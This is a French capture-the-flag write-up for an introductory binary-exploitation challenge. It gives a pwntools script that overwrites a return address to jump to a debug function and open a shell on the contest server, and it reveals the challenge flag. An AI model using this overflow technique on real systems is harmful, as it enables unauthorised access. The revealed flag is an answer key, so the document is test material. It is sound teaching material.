# Gorfou en danger \[1/3]

**Catégorie:** Exploitation de binaires - **Difficulté:** Intro

{% file src="/files/guR3aA5Lqoi1mrDkCr9k" %}

**Description:**

<figure><img src="/files/Kti3Zt7IdvourFZxvcFS" alt=""><figcaption></figcaption></figure>

Solution:

Voici le script afin d'exploiter la vulnérabilité :&#x20;

```python
from pwn import *

elf = ELF('./chall')  # Optionnel mais utile pour avoir les symboles locaux

debug_addr = elf.symbols['debug_access']
print(f"Adresse de debug_access: {hex(debug_addr)}")

# Connexion distante au challenge
p = remote('challenges.404ctf.fr', 32462)

# Construction du payload
payload = b"A" * 0x100
payload += b"B" * 8
payload += p64(debug_addr)

# Envoi du payload
p.sendline(payload)

# Interactif pour interagir avec le shell
p.interactive()
```

Lorsque nous lançons ce script, il nous permets d'avoir un shell sur le serveur distant :&#x20;

<figure><img src="/files/CGACigaTY7z1YKgtLHTp" alt=""><figcaption></figcaption></figure>

<details>

<summary>🚩FLAG</summary>

`404CTF{c@n_7He_GoRF0u_F1y_?}`

</details>


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